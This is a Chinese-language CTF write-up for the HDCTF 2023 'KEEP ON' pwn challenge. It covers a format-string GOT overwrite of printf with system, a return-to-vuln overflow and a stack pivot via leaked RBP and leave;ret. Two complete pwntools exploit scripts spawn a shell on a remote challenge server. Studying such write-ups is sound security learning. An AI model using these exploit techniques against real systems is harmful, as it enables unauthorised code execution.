【HDCTF 2023】KEEP ON
收获
结合格式化字符串和栈溢出漏洞,当
printf(s)
只能执行一次时,需想办法让printf(s)
再执行一次,可以利用栈溢出修改返回地址为printf(s)
所在的函数。但是一定要注意输入长度的问题,本题对溢出的长度有要求,只够刚刚好覆盖返回地址,切不可使用io.sendline(payload)
使用栈迁移主要是找好迁移的地址,用迁移的地址覆盖 EBP,用
leave; ret
覆盖返回地址要注意 payload 中
b'/bin/sh'
填的是地址,如果是我们自己写到栈上的,需要利用泄露的 RSP 或者 RBP 计算其在栈中的偏移,然后得出其真实地址
思路一 (格式化字符串)
查看保护,64 位程序:
IDA 分析:
存在一个像后门的函数,仔细一看好像又不是。。。。。。
像极了当时没看清楚,以为真的是后门的我
利用格式化字符串漏洞将
printf()
的 GOT 表地址改为shell()
后,只得到了冰冷的四个字母:”flag”(真 · flag)
逻辑不难,主要在于 vuln()
中
第一个 read()
输入的长度为 0x48,而 s
所在位置为 [rsp+0h] [rbp-50h]
,栈的长度为 0x50,我们的输入无法覆盖到返回地址
可以看到 printf(s)
明显的格式化字符串漏洞,结合程序的 Partial RELRO
,可以想到将 printf()
的 GOT 表地址修改为 system()
但是这样修改之后,我们还需要调用一次 printf(s)
,通过将 s
写入为 "/bin/sh"
,来触发 system("/bin/sh")
实际情况是,我们只能使用一次 printf(s)
,后面也已经没有 printf(s)
可用了
不过看到后面还有一个 read()
,这次输入的长度为 0x60,s
的栈长 0x50,RBP 占 8 字节,返回地址占 8 字节,0x50 + 8 + 8 = 0x60
正好可以覆盖返回地址
因此可以考虑通过第二次 read()
覆盖返回地址为 vuln()
,这样就可以再执行一次 vuln()
中的 printf(s)
了,正好满足我们格式化字符串漏洞的思想
注意:
在第一个
read()
处,可输入的最大长度为 0x48,通过调试我们可以看到,我们通过payload = fmtstr_payload(6, {printf_got_addr: system_addr})
构造的 payload 实际长度为 40,也就是 0x28,并未超出最大长度因此在第一个 payload 发送时,我们使用
io.send()
和io.sendline()
实际效果没什么区别,因为 payload 最终以b'\x00'
结尾,另外即使io.sendline()
追加换行符也不会超过 0x48但是,利用第二个
read()
覆盖返回地址时就不一样了输入的最大长度被限制为 0x60,而我们将返回地址修改为
vuln()
最少需要 0x60 的长度,因此这时我们只能用io.send()
来发送 payload,不可以再使用io.sendline()
追加换行符,否则会出错
脚本一
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0
if content == 1:
io = process('./hdctf')
else:
io = remote('node4.anna.nssctf.cn', 28438)
def debug(cmd=''):
gdb.attach(io, cmd)
pause()
elf = ELF('./hdctf')
vuln_addr = elf.symbols['vuln']
printf_got_addr = elf.got["printf"]
print("printf_got_addr -->", hex(printf_got_addr))
system_addr = elf.symbols["system"]
print("system_addr -->", hex(system_addr))
io.recvuntil(b'please show me your name: \n')
payload = fmtstr_payload(6, {printf_got_addr: system_addr})
# debug()
io.send(payload) # 使用 io.sendline(payload) 也可以
io.recvuntil(b'keep on !\n')
payload = b'a' * (0x50 + 8) + p64(vuln_addr)
# pause()
io.send(payload) # 长度被限制,不可以使用 io.sendline(payload)
io.recvuntil(b'please show me your name: \n')
payload = b'/bin/sh\x00'
# pause()
io.send(payload)
io.interactive()
结果一
思路二 (栈迁移)
另一种方法就是使用栈迁移
首先我们需要泄露栈的地址,使用 GDB 调试,在第一个 read()
处输入:
aaaaaaaa_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p_%p
然后运行到 printf(s)
处:
aaaaaaaa_0x7fffffffb9c0_(nil)_0x7ffff7d14887_0x6_0x6022a0_0x6161616161616161_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0x255f70255f70255f_0x5f70255f70255f70_0x70255f70255f7025_0x255f70255f70255f_0xa70255f70_(nil)_0x7fffffffdb40_0x400768_0x1_0x7ffff7c29d90_(nil)
可以看到 RBP 位于第 16 个位置,因此使用 b'%16$p'
即可泄露 RBP 中存放的地址,这个地址 0x7fffffffdb40
就是上一个 RBP 所在地址,我这里记为 old_rbp_addr
而现在的 RBP 地址为 0x7fffffffdb30
,与上一个 RBP 所在位置相距 2 字节,也就是:now_rbp_addr = old_rbp_addr - 0x10
栈迁移的核心在于,将当前的 EBP 覆盖为我们想要将栈迁移过去的地址,然后将返回地址覆盖为 leave; ret
的地址
栈迁移的详细原理,见本站的《栈迁移》一文
第二次 read()
时,我们需要计算一下第二次输入的地方与 old_rbp_addr
之间的距离
注意:计算第二次输入的地方与
now_rbp_addr
之间的距离也可以这里我们主要是为了得到第二次输入的位置所在的地址,因为
old_rbp_addr
是直接泄露出来的,方便计算一点而已
为了与前面的 aaaaaaaa
区分开,这次调试我们输入:
bbbbbbbb
计算得第二次输入的地方与 old_rbp_addr
之间的距离为 0x60,也就是与 now_rbp_addr
相距 0x50
于是,我们可以将栈迁移到:target_addr = old_rbp_addr - 0x60 - 0x08
(减的 0x08 是为了覆盖掉原先的返回地址),即:第二次输入的位置所在的地址的上一个内存单元
如果前面计算的是第二次输入的地方与
now_rbp_addr
之间的距离那么这里就变为:
target_addr = now_rbp_addr - 0x50 - 0x08
至于其他的 ROP 所需要用到的参数,这里就不详细说了:
这里可以直接将
b'/bin/sh'
写入栈中,因为我们已知栈的地址,就可以根据栈的地址来定位写入的b'/bin/sh'
的地址,因此可以不用 libc 偏移来计算b'/bin/sh'
的地址
脚本二
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
content = 0
if content == 1:
io = process('./hdctf')
else:
io = remote('node4.anna.nssctf.cn', 28014)
def debug(cmd=''):
gdb.attach(io, cmd)
pause()
elf = ELF('./hdctf')
system_addr = elf.symbols["system"]
print("system_addr -->", hex(system_addr))
io.recvuntil(b'please show me your name: \n')
payload = b'%16$p'
# debug()
io.send(payload)
io.recvuntil("0x")
old_rbp_addr = int(io.recv()[0:12], 16)
now_rbp_addr = old_rbp_addr - 0x10
print("old_rbp_addr -->", hex(old_rbp_addr))
print("now_rbp_addr -->", hex(now_rbp_addr))
target_addr = old_rbp_addr - 0x60 - 0x08
print("target_addr -->", hex(target_addr))
leave_ret = 0x4007f2
pop_rdi_ret = 0x4008d3
ret = 0x4005b9
# -------------------- 栈 s --------------------
payload = p64(pop_rdi_ret)
# payload += b'/bin/sh\x00' # 注意:送入 RDI 作为 system 参数的是 b'/bin/sh' 的地址,而不是 b'/bin/sh' 本身
payload += p64(target_addr + 0x8 * 5) # target_addr 的下一个地址就是 s 栈中的第一个位置,也就是 payload 中的 p64(pop_rdi_ret),而 b'/bin/sh\x00' 在栈 s 中的第 5 个位置,因此偏移为 0x8 * 5
payload += p64(ret)
payload += p64(system_addr)
payload += b'/bin/sh\x00'
payload = payload.ljust(0x50, b'a')
# -------------------- 栈 s --------------------
payload += p64(target_addr) # 当前的 EBP 所在位置,即:now_rbp_addr,填写将栈迁移过去的目标地址
payload += p64(leave_ret) # 返回地址,填写 leave; ret
io.send(payload)
io.interactive()